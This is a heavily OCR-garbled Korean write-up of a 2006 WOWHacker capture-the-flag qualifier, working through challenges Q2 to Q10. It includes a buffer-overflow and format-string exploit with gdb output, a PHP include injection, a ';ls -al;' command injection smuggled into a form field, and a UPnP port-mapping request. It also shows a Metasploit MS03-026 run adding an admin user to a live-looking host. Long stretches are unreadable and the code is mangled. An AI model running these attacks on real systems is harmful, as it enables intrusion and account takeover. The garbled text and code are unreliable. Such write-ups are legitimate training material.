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Q2. http://festival.wowhacker.org/q/dokdo—korea.exe

Step 1) Input ol aE 1572 ol Er},
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Step 4) U => T, p—>r, y—>u, m—>t, s—>h, S->I, o->s, L->0, f->u, z->t, X->T, s—->h, f-
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Q3. http://festival.wowhacker.org/q/q3.txt
Q3& 7I7lo] muEwk 9k sdle] gAglow F vl JIER wol rhgd Fite] 717
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8049560: 55 push  %ebp
8049561: 8b ec mov Y%esp,%ebp
8049563: 83 ec 50 sub $0x50,%esp
8049566: 53 push  %ebx
8049567 56 push  %esi
8049568: 57 push  %edi
8049569: 8d 7d b0 lea Oxffffffb0(%ebp), %edi
804956¢: b9 14 00 00 00 mov $0x14,%ecx
8049571: b8 cc cc cc cc mov $0xccececee, Peax
8049576 3 ab repz stos %eax,%es:(%edi)
8049578: c6 45 fc 57 movb  $0x57,0xfffffffc(%ebp)
804957c: c6 45 0 6f movb  $0x6f,0xfffffff0(%ebp)
8049580: c6 45 £d 30 movb  $0x30,0xfffffffd(%ebp)
8049584 c6 45 fe 57 movb  $0x57,0xfffffffe(%ebp)
8049588: c6 45 ff 48 movb  $0x48,0xffffffff(%ebp)
804958c: c6 45 00 34 movb  $0x34,0x0(%ebp)
8049590: c6 45 f1 61 movb  $0x61,0xfffffff1(%ebp)
8049594 c6 45 01 43 movb  $0x43,0x1(%ebp)
8049598: c6 45 02 4b movb  $0x4b,0x2(%ebp)
804959c: c6 45 03 33 movb  $0x33,0x3(%ebp)
80495a0: c6 45 04 52 movb  $0x52,0x4(%ebp)
80495a4: c6 45 £2 33 movb  $0x33,0xfffffff2(%ebp)
80495a8: c6 45 05 65 movb  $0x65,0x5(%ebp)
80495ac: c6 45 06 56 movb  $0x56,0x6(%ebp)
80495b0: c6 45 07 45 movb  $0x45,0x7(%ebp)
80495b4: c6 45 08 4e movb  $0x4e,0x8(%ebp)
80495b8: c6 45 09 54 movb  $0x54,0x9(%ebp)
80495bc: 8d 45 fc lea  Oxfffffffc(%ebp),%eax
80495bf: 50 push %eax
80495¢0: 68 64 07 42 00 push $0x420764

80495¢5: e8 16 00 00 00 call 80495e0 <__bss_start>




80495ca: 83 c4 08 add  $0x8,%esp

80495cd: 5f pop %edi

80495ce: Se pop YDesi

80495cf: 5b pop Y%ebx

80495d0: 83 c4 50 add $0x50,%esp
80495d3: 3b ec cmp Y%esp,%ebp
80495d5: e8 6 56 ff ff call  803ecd0 <_init-0x9584>
80495da: 8b eb mov %ebp,%esp
80495dc: 5d pop Y%ebp

80495dd: c3 ret
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804957c: c6 45 fO 6f movb  $0x6f,0xfffffff0(%ebp) o
8049590: c6 4511 61 movb  $0x61,0xfffffff1(%ebp) a




80495a4: c6 45 f2 33 movb  $0x33,0xfffffff2(%ebp) 3

8049578: c6 45 fc 57 movb  $0x57,0xfffffffc(%ebp) W
8049580: c6 45 fd 30 movb  $0x30,0xfffffffd(%ebp) O
8049584: c6 45 fe 57 movb  $0x57,0xfffffffe(%ebp) W
8049588: c6 45 ff 48 movb  $0x48,0xffffffff(%ebp) H
804958¢c: c6 45 00 34 movb  $0x34,0x0(%ebp) 4
8049594: c6 45 01 43 movb  $0x43,0x1(%ebp) C
8049598: c6 45 02 4b movb  $0x4b,0x2(%ebp) K
804959c: c6 45 03 33 movb  $0x33,0x3(%ebp) 3
80495a0: c6 45 04 52 movb  $0x52,0x4(%ebp) R
80495a8: c6 45 05 65 movb  $0x65,0x5(%ebp) e
80495ac: c6 45 06 56 movb  $0x56,0x6(%ebp) V
80495b0: c6 45 07 45 movb  $0x45,0x7(%ebp) E
80495h4: c6 45 08 4e movb  $0x4e,0x8(%ebp) N
80495b8: c6 45 09 54 movb  $0x54,0x9(%ebp) T
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80495bc: 8d 45 fc lea Oxfffffffc(%ebp), %eax
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# (perl —e 'print "#"x63") I nc 218.38.54.239 7
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Q5. http://218.38.54.240/bbs/zboard.php?id=acmicpc

AZRE7E YobA A4l Al2REe] ngr) HH S Tdstets TAZ AZtgony oy
A=l skin Y EZ Y & error.php 3D 2] dir F2}0E | php injection®] HS 3F
o}

@ http:/#218,58,54,240/bb s/skin/LN _simple _board{9)¥error,php?dir=padori - Microsoft Internet Explarer [SXSXs]
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&] http://218,38.54,240/bb=/ skin/LN_simple_board(S)errar,php? dir=padori a Bus & -
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Warning: include(padori/value.php3) [function.include]: failed to open stream: No such file or directory
in fusr/local/apache2/htdocs/bbs/skin/LN_simple_board(9)/error.php on line 1

Warning: include() [function.include]: Failed opening 'padori/value.php3’ for inclusion

{include_path=".:/usr/local/php/lib/php') in fusrflocal/apache2/htdocs/bbs/skin/LN_simple_board
(9)/error.php on line 1
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[sionics@padori tmp]$ gdb prob

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048390 <main+ 0>: push  %ebp

0x08048391 <main+ 1>: mov %esp,%ebp

0x08048393 <main+ 3>: sub $0x118,%esp

0x08048399 <main+ 9>: and SOxfEff0, %esp



0x0804839¢ <main+ 12>:
0x080483al <main+ 17>:
0x080483a3 <main+ 19>:
0x080483a9 <main+ 25>:
0x080483ac <main+ 28>:
0x080483ae <main+ 30>:
0x080483b3 <main+ 35>:
0x080483b6 <main+ 38>:
// tmp = malloc(4);
0x080483b9 <main+ 41>:
0x080483bc <main+ 44>:
0x080483bf <main+ 47>:
0x080483c0 <main+ 48>:
0x080483cH <main+ 53>:
// printf("address of zero
0x080483ca <main+ 58>:
0x080483cd <main+ 61>:
0x080483d0 <main+ 64>:
0x080483d3 <main+ 67>:
0x080483d6 <main+ 70>:
0x080483d8 <main+ 72>:
0x080483de <main+ 78>:
0x080483df <main+ 79>:
// strepy(buf, argv[1]);

mov  $0x0,%eax

sub YDoeax,%oesp

movw  $0x0,0xfffffff6(%ebp)
sub $0xc,%esp

push  $0x4

call 0x80482a0 <malloc>
add $0x10,%esp

mov %eax,0xffff0(%ebp)
sub $0x8,%esp

lea Oxfffffff6(%ebp), %eax
push  %eax

push  $0x80484bc

call 0x80482c0 <printf>

D %pWn", &zero);
add $0x10,%esp
sub $0x8,%esp
mov Oxc(%ebp), %eax
add  $0x4,%eax
pushl (%eax)
lea Oxfffffee8(%ebp),%eax
push  %eax

call 0x80482d0 <strcpy>

0x080483e4 <main+ 84>: add $0x10,%esp
0x080483e7 <main+87>: sub  $0x4,%esp
0x080483ea <main+ 90>: pushl OxfffffffO(%ebp)
0x080483ed <maint+ 93>: lea Oxfffffee8(%ebp),%eax
0x080483f3 <main+99>: push %eax

0x080483f4 <main+ 100>: push $0x80484d2
0x080483f9 <maint+ 105>: call 0x80482c0 <printf>

// printf("%s%hn¥Wn", buf, tmp);

0x080483fe <main+ 110>: add $0x10,%esp

0x08048401 <main+ 113>:
0x08048406 <main+ 118>:
// while(zero != 0);

cmpw  $0x0,0xfffffff6(%ebp)

jne 0x8048401 <main+ 113>



0x08048408 <main+ 120>: mov $0x0,%eax
0x0804840d <main+ 125>: leave

0x0804840e <main+ 126>: ret

0x0804840f <main+ 127>: nop

End of assembler dump.

(gdb)
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int main(int argv,char **argc) {
int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];
printf("address of zero : %pWn", &zero)
strepy(buf,arge[11);
printf("%s%hnWn",buf,plen);

while(zero);
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$ /home/mkbgt/prob “perl -e 'print "A"x264;print "WxeeWx82WxfeWxbf";print
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Q7. http://festival.wowhacker.org/sq7/wow.zip
wow.zipS ¢EFE
A E = AL B ollygdbE o] &34 Sample.encE Input.enc®, Sample.txtE Input.txt
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3636336336 36 36 36 33636336 36 3636 336 I IE I I3 IE I IE I3 IE I IEIE I3 36 IEIE IE-IE-IE-I-IE I IE I I-II-IE-IE IE I IE I3 I IEIE I N

password : tpdlsxmtlzbflxzlakstp

3636336336 36 36 36 33636336 36 3636 336 I IE I I3 IE I IE I3 IE I IEIE I3 36 IEIE IE-IE-IE-I-IE I IE I I-II-IE-IE IE I IE I3 I IEIE I N




Q8. http://218.38.54.239/1v8/

<3 Linux, windows, 43b9d8eal8c48c3a64c4e37338fc668f, 4d40chb026e472531
6a9d8f6ab5a0f58a ©]¥H gho] Yt} 3HA %S Fo B macos 494 g2 Aol <y
e by Hold AnE Fol Bl

<{center>

<form action="" method="post">

<select name="file_name">

<option value="linux.txt">(Linux)</option>

<option value="windows.txt">(Windows)</option>

<option
value="43b9d8eal8c48c3ab4c4e37338fc668f">43b9d8ealB8c48c3ab4cde37338fc668f</
option>

<option value=""> 4d40cb026e4725316a9d8f6ab5a0f58a </option>
</select>

<input type="submit" value="view"><p>

</form>

</center>

B7} file_name JHHE 7} 3804,

<option value=";ls —al;">(Linux)</option>

o] 3ol Alx® WHE o] Bkt

total 9296

-rw-r—-r—— 1 apache apache 0 Oct 23 22:38 —name
drwxXrwXxrwx 3 wWow WOW 4096 Oct 24 22:14 .
drwxr-xr-x 3 wow WOW 4096 Oct 23 18:54 ..
-rw-r—-r—— 1 apache apache 0 Oct 24 04:14 1818.html
-rw-r——r—— 1 apache apache 1 Oct 23 22:05 aa.txt
“TWXIWXIWX 1 wow WOW 54 Oct 23 21:22 effbecffa
“ITWX———— - 1 root root 91 Oct 23 21:20 effbecffa.tmp
-rw-r—-r—— 1 apache apache 30 Oct 24 01:37 hello.php
-rw-r—-r—— 1 apache apache 6 Oct 24 01:26 hello.php
-rw-r——-r—— 1 apache apache 6 Oct 23 22:48 hello.txt

“IWXI'WXI'wX 1 WOow WOW 545 Oct 20 04:59 index.php



“TWXIwXrwx 1 wow WOW

“IrWXrwxrwx 1 wow WOW
-rwxr——-r—— 1 apache apache
-rwxr-xr-x 1 apache apache

-rwxr—-xr-x 1 apache apache

-rw—r——r—— 1 apache apache
-rw—r——r—— 1 apache apache
-rw—r——r—— 1 apache apache
-rw-r——-r—— 1 apache apache
-rw-r—-r—— 1 apache apache
-rw-r—-r—— 1 apache apache

drwxr-xr-x 2 apache apache

-rw—r——-r—— 1 apache apache
-rw—r——-r—— 1 apache apache
“TWXIwWXIrwx 1 wow WOW
-rw-r—--r—— 1 apache apache
-rw—r——r—— 1 apache apache
“TWXIwXIrwx 1 wow WOW
-rw-r—-r—— 1 apache apache
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755 Oct 20 04:49 linux.txt
1240 Oct 20 04:50 macos.txt
30 Oct 24 19:40 mr.php
35340 Oct 23 22:02 nc
46 Oct 23 23:57 net.sh
54 Oct 23 22:08 re.php
73 Oct 23 23:34 run.php
93 Oct 23 23:49 run2.php
0 Oct 24 22:09 sss
9235514 Oct 24 22:11 sss.txt
14280 Oct 24 22:20 sss2.txt
4096 Oct 24 04:11 test
0 Oct 24 00:16 test.txt
0 Oct 24 00:17 test2.txt
33 Oct 24 21:28 unix.txt
147 Oct 23 22:36 value.php3
157 Oct 23 22:38 valuecc
643 Oct 20 04:50 windows.txt
24 Oct 23 20:45 wwwsh.php
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Q9. http://218.38.54.241/

key : AIDGT 06:48:24 KST 2006
key : GOJM] 06:50:30 KST 2006
key : LTORd 07:49:35 KST 2006

s9] o}x7] e AAFE v BASY ofeleh aeh
6573 68 71 84

7179 7477 93

76 84 79 82 100

FHRL oko] Exlo A#EE +8, -5, +3, + 13 3FH Hr)h
ol#l FHE ztal ofgie} B ¥FH FEE wEojA A3 s R gk

#include <stdio.h>

int main( void )

{
int i;
char key[8];
char buf[1024];

for(i=32;1<=126;i++ )
{

sprintf( buf, "GET http://218.38.54.241/%s.html >> result.txt", key );
system( buf );

return O;
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Password : Goto_the_Main_Contest_AT_2006_10_26



Q10. http://220.72.234.126

719 UPNP 7|55 o] galA 12135 FEZ WX FAAH 9 135 FE=Z Wg 3}
T3 33890 LEE WEEt dAu~ages Ui AW HA2E £ Jd=s dAS AT

POST /upnp/control/WANIPConn1 HTTP/1.1

HOST: 220.72.234.126:49152

CONTENT-LENGTH: 600

CONTENT-TYPE: text/xml; charset="utf-8"
SOAPACTION: "urn:schemas-upnp-
org:service:WANIPConnect ion: 1#AddPor tMapping"

<s:Envelope xmlIns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>

<u:AddPor tMapping xmlns:u="urn:schemas-upnp-
org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>

<NewExternalPor t>6135</NewExternalPor t>

<NewProtoco |>TCP</NewProtoco >
<NewlInternalPort>135</NewlInternalPort>
<NewlInternalClient>192.168.10.102</NewInternalClient>
<NewEnab | ed>1</NewEnab | ed>

<NewPor tMappingDescr ipt ion>PADOR|</NewPor tMapp ingDescr ipt ion>
<NewLeaseDurat ion>0</NewLeaseDurat ion>

</u:AddPor tMapp i ng>

</s:Body>

</s:Envelope>

A% 20034HE 7]HEor HFAFa HAE A ZoW msrpe B1E AFEEA admin
S1=3l 4= 9t} metasploit ¢ msrpc 03-026 exploit & AFE3 1 HAE 3174
[e)

=
2 Al BEEE & F A

cocas@cocas:~/metasploit$ ./msfconsole
# # HHAHHHH HHHHH  HH HH#HE  HEHHAH # H##H H# HHHAH
#HH# HH## # # OH# O# # # # # HH# H#



# ## # H#HHH # # # HHAHH # # # # #HH# H#

# ## H# o HEHHEHH # #H#HHHR # # ## #

# ## # # ## ## # # ## #

# # #HHHHE H# # # HHHE # B HHHHE #HO#
+ —- ——=[ msfconsole v2.6 [158 exploits - 76 payloads]

msf > use msrpc_dcom_ms03_026

msf msrpc_dcom_ms03_026 > set RHOST 220.72.234.126
RHOST -> 220.72.234.126

msf msrpc_dcom_ms03_026 > set RPOST 12135

RPOST -> 12135

msf msrpc_dcom_ms03_026 > set PAYLOAD win32_adduser
PAYLOAD -> win32_adduser

msf msrpc_dcom_ms03_026(win32_adduser) > set USER padori
USER -> padori

msf msrpc_dcom_ms03_026(win32_adduser) > set PASS padori
PASS -> padori

msf msrpc_dcom_ms03_026(win32_adduser) > exploit

YA} padori Aol FrHENA A AATH R HEHA wiRstE S
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